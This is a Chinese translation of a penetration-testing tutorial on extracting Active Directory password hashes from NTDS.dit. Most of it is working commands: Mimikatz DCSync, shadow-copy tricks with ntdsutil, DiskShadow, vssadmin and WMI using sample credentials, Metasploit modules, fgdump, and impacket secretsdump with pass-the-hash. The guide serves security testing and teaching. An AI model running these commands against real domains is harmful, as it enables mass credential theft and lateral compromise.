导出域内用户hash的几种方法

在渗透测试期间,可以利用域管权限对域内用户hash进行导出和破解。这些域内用户hash存储在域控制器(NTDS.DIT)中的数据库文件中,并带有一些其他信息,如组成员身份和用户。

NTDS.DIT文件经常被操作系统使用,因此无法直接复制,一般可以在以下Windows位置找到此文件:

C:\Windows\NTDS\NTDS.dit

可以使用各种技术来提取此文件或存储在其中的信息,但是大多数技术都使用以下方法之一:

DRS 原生Windows二进制文件 WMI

接下来我们看看一般有哪些方法可以做到导出域内用户hash的方法

Mimikatz

Mimikatz有一个功能(dcsync),它利用目录复制服务(DRS)从NTDS.DIT文件中检索密码哈希值。此技术避免了直接使用域控制器进行身份验证的需要,因为它可以以域管理员的权限在任何机器上运行。

lsadump::dcsync /domain:pentestlab.local /all /csv

通过使用/ user参数指定域用户名,Mimikatz可以转储此特定用户的所有帐户信息,包括其密码哈希。

lsadump::dcsync /domain:pentestlab.local /user:test

或者直接在域控制器中执行Mimikatz通过lsass.exe进程转储密码哈希。

privilege::debug lsadump::lsa /inject

检索出域用户的密码哈希值

Empire

PowerShell Empire有两个模块,利用域管权限通过DRS服务利用DCSync攻击检索域哈希。这些模块依赖于Invoke-Mimikatz PowerShell脚本来执行与DCSync相关的Mimikatz命令。以下模块将域哈希提取为类似于Metasploit hashdump命令输出的格式。

usemodule credentials/mimikatz/dcsync_hashdump

利用DCSync模块导出指定用户相关信息

Nishang

Nishang是一个PowerShell框架,可以利用其Copy-VSS脚本自动提取所需的文件:NTDS.DIT,SAM和SYSTEM。这些文件将被解压缩到当前工作目录或指定的任何其他文件夹中。

Import-Module .\Copy-VSS.ps1 Copy-VSS Copy-VSS -DestinationDir C:\ShadowCopy\

或者,可以通过加载PowerShell扩展来从现有的Meterpreter会话执行脚本。

load powershell powershell_import /root/Copy-VSS.ps1 powershell_execute Copy-VSS

也可以使用命令powershell_shell建立直接PowerShell会话,以便在脚本导入现有Meterpreter会话后提取文件。

Copy-VSS Copy-VSS -DestinationDir C:\Ninja

PowerSploit

PowerSploit利用PowerShell脚本通过卷影备份服务创建可用于提取文件的新卷。

Import-Module .\VolumeShadowCopyTools.ps1 New-VolumeShadowCopy -Volume C:\ Get-VolumeShadowCopy

或者,可以通过加载PowerShell扩展来从现有的Meterpreter会话执行它。

powershell_shell New-VolumeShadowCopy -Volume C:\ Get-VOlumeShadowCopy

然后,可以使用copy命令将文件从新卷复制到目标路径。

Invoke-DCSync

可以利用Invoke-DCSync(https://gist.github.com/monoxgas/9d238accd969550136db)来输出用户hash。生成四块内容Domain,User,RID和Hash。

Invoke-DCSync

可以使用参数-PWDumpFormat执行Invoke-DCSync将以以下格式检索哈希: user:id:lm:ntlm :::

Invoke-DCSync -PWDumpFormat

通过从现有的Meterpreter会话运行脚本,可以实现相同的输出。

使用PWDumpFormat:

ntdsutil

该NTDSUTIL是一个命令行工具,它是域控制器生态系统的一部分,其目的是为了使管理员能够访问和管理Windows Active Directory数据库。但是,渗透测试人员和红队可以滥用它来创建现有ntds.dit文件的快照,该文件可以复制到新位置以进行离线分析和密码哈希的提取。

ntdsutil activate instance ntds ifm create full C:\ntdsutil quit quit

将生成两个新文件夹:Active Directory和Registry。NTDS.DIT文件将保存在Active Directory中,SAM和SYSTEM文件将保存到Registry文件夹中。

DiskShadow

DiskShadow是Microsoft签名的二进制文件。其主要用于协助管理员执行与卷影复制服务(VSS)相关的操作。这个二进制文件有两个交互式和脚本模式,因此可以使用一个脚本文件,它将包含自动执行NTDS.DIT提取过程所需的所有命令。脚本文件可以包含以下行,以便创建新的卷影副本,装入新驱动器,执行复制命令并删除卷影副本。

set context persistent nowriters add volume c: alias someAlias create expose %someAlias% z: exec "cmd.exe" /c copy z:\windows\ntds\ntds.dit c:\exfil\ntds.dit delete shadows volume %someAlias% reset

这里需要注意,DiskShadow二进制文件需要从C:\ Windows \ System32路径执行。如果从另一个路径调用它,脚本将无法正确执行。

diskshadow.exe /s c:\diskshadow.txt

直接从解释器运行以下命令将列出系统的所有可用卷影副本。

diskshadow LIST SHADOWS ALL

复制system文件

reg.exe save hklm\system c:\exfil\system.bak

WMI

可以通过WMI远程提取NTDS.DIT和SYSTEM文件。此技术使用vssadmin二进制文件来创建卷影副本。

wmic /node:dc /user:PENTESTLAB\David /password:pentestlab123!! process call create "cmd /c vssadmin create shadow /for=C: 2>&1"

然后,它远程执行复制命令,以便将卷影副本中的NTDS.DIT文件解压缩到目标系统上的另一个目录中。

wmic /node:dc /user:PENTESTLAB\David /password:pentestlab123!! process call create "cmd /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\temp\ntds.dit 2>&1"

这同样适用于SYSTEM文件。

wmic /node:dc /user:PENTESTLAB\David /password:pentestlab123!! process call create "cmd /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM\ C:\temp\SYSTEM.hive 2>&1"

然后,解压缩的文件可以从域控制器传输到另一个Windows系统,以转储域密码哈希值。

PS C:\Users\test.PENTESTLAB> copy \\10.0.0.1\c$\temp\ntds.dit C:\temp PS C:\Users\test.PENTESTLAB> copy \\10.0.0.1\c$\temp\SYSTEM.hive C:\temp

如果已生成Golden票证,则可以使用它通过Kerberos与域控制器进行身份验证,而不是凭据。

vssadmin

卷影副本是Windows命令行实用程序,使管理员可以备份计算机,卷和文件,即使它们正在被操作系统使用。卷影复制作为服务运行,并要求将文件系统格式化为NTFS,默认情况下所有现代操作系统都是如此。从Windows命令提示符执行以下操作将创建C:驱动器的快照,以便用户通常将无法访问的文件将其复制到另一个位置(本地文件夹,网络文件夹或可移动介质)。

vssadmin create shadow /for=C:

由于C:驱动器中的所有文件都已复制到另一个位置(HarddiskVolumeShadowCopy1),因此它们不会被操作系统直接使用,因此可以访问并复制到另一个位置。命令副本并将NTDS.DIT和SYSTEM文件复制到名为ShadowCopy的本地驱动器上的新创建文件夹中。

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\ShadowCopy copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\ShadowCopy

需要将这些文件从域控制器复制到另一个主机以进行进一步处理。

vssown

与vssadmin实用程序类似,它是一个可视化基本脚本,可以创建和删除卷影副本,从卸载的卷影副本运行任意可执行文件,以及启动和停止卷影复制服务。

cscript vssown.vbs /start cscript vssown.vbs /create c cscript vssown.vbs /list cscript vssown.vbs /delete

可以使用命令副本复制所需的文件。

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy11\windows\ntds\ntds.dit C:\vssown copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy11\windows\system32\config\SYSTEM C:\vssown copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy11\windows\system32\config\SAM C:\vssown

Metasploit

Metasploit框架有一个模块,它通过服务器消息块(SMB)服务直接与域控制器进行身份验证,创建系统驱动器的卷影副本,并将NTDS.DIT和SYSTEM配置单元的副本下载到Metasploit目录中。这些文件可以与impacket等其他工具一起使用,这些工具可以执行活动目录密码哈希的提取。

auxiliary/admin/smb/psexec_ntdsgrab

还有一个后渗透利用模块,可以链接到现有的Meterpreter会话,以便通过ntdsutil方法检索域哈希。

windows/gather/credentials/domain_hashdump

或者,如果存在到域控制器的现有Meterpreter会话,则可以使用命令hashdump,这方法可能会使域控制器崩溃。

hashdump

fgdump

fgdump可提取的LanMan和NTLM密码哈希值。如果已获取本地管理员凭据,则可以在本地或远程执行。在执行期间,fgdump将尝试禁用可能在系统上运行的防病毒软件,如果成功,则会将所有数据写入两个文件中。如果存在防病毒或端点解决方案,则不应将fgdump用作转储密码哈希的方法以避免检测,因为大多数防病毒公司(包括Microsoft的Windows Defender)都会对其进行标记。

fgdump.exe

可以通过查看.pwdump文件的内容来检索密码哈希值。

NTDS Extraction

Impacket可用于执行各种任务,包括提取NTDS文件的内容。利用impacket-secretsdump模块需要系统和NTDS数据库文件。

impacket-secretsdump -system /root/SYSTEM -ntds /root/ntds.dit LOCAL

此外,impacket可以通过使用hash传递从远程主机上转储域密码哈希NTDS.DIT文件。

impacket-secretsdump -hashes aad3b435b51404eeaad3b435b51404ee:0f49aab58dd8fb314e268c4c6a65dfc9 -just-dc PENTESTLAB/dc\$@10.0.0.1

NTDSDumpEx也可以从Windows主机中提取域密码哈希值。

NTDSDumpEx.exe -d ntds.dit -s SYSTEM.hive

还有一个shell脚本adXtract(https://github.com/LordNem/adXtract),它可以将用户名和密码哈希导出可被John the Ripper和Hashcat破解的格式。

./adXtract.sh /root/ntds.dit /root/SYSTEM pentestlab

该脚本将所有信息写入项目名称下的各种文件中,当数据库文件NTDS的解密完成后,将用户列表和密码哈希值导出到控制台中。该脚本将提供有关域用户的大量信息,如下所示。

密码哈希将以下列格式显示。

参考:https://pentestlab.blog/2018/07/04/dumping-domain-password-hashes/

本文分享自微信公众号 - 中国白客联盟(China_Baiker)

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2018-07-05

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏维C果糖

详述 IntelliJ IDEA 插件的安装及使用方法

温馨提示:IntelliJ IDEA 支持非常多的插件,熟练的使用插件,能够有效提高我们的开发效率以及用户体验。 正文 首先,进入插件安装界面: Mac:I...

46680
来自专栏Netkiller

PHP 安全与性能

PHP 安全与性能 摘要 我的系列文档 Netkiller Architect 手札Netkiller Developer 手札Netkiller PHP 手札...

53460
来自专栏运维咖啡吧

LDAP落地实战(一):OpenLDAP部署及管理维护

上边来了一堆的名词解释,看的云里雾里,还不是很明白,怎么跟自己的组织架构对应起来呢?看看下边的图是不是清晰明了

64330
来自专栏崔庆才的专栏

一言不合就改成 777 权限?会出人命的!

最近和几个朋友开发项目,期间使用了一台服务器跑模型,这台服务器是多人公用的,很多人都在上面有自己的账号,互不干涉内政,一切看起来十分井然有序。

73630
来自专栏Android先生

Gradle从入门到了解 - 简书

Gradle(英[g'reɪdl])是一个任务驱动型的构建工具,是一个依赖管理工具,更是一个编程框架。 它抛弃了基于XML的各种繁琐配置,取而代...

15930
来自专栏Hadoop实操

HDFS添加 NFS Gateway 角色实例启动失败问题及解决办法

昨天登录公司测试集群的时候,发现HDFS存在告警信息,查看详细信息,发现 NFS Gateway 进程退出,尝试重启该角色实例,执行重启操作后,报如下异常:

1.9K40
来自专栏散尽浮华

Centos下堡垒机Jumpserver V3.0环境部署完整记录(1)-安装篇

Jumpserver是一款由python编写, Django开发的开源跳板机/堡垒机系统, 助力互联网企业高效 用户、资产、权限、审计 管理。jumpserve...

1.1K110
来自专栏zhangdd.com

zhangdd谈ceph(二)

yum install -y https://dl.fedoraproject.org/pub/epel/epel-release-latest-7.noarc...

12320
来自专栏喵了个咪的博客空间

Otter-入门篇2(Manager安装配置)

Otter-入门篇2(Manager安装配置) ? 前言 上一节已经简单介绍了Otter的基本信息,本节我们就来开准备搭建一个我们自己的Otter环境,因为一个...

473110
来自专栏Gaussic

使用IntelliJ IDEA开发SpringMVC网站(一)开发环境 顶

访问GitHub下载最新源码:https://github.com/gaussic/SpringMVCDemo

28510

扫码关注云+社区

领取腾讯云代金券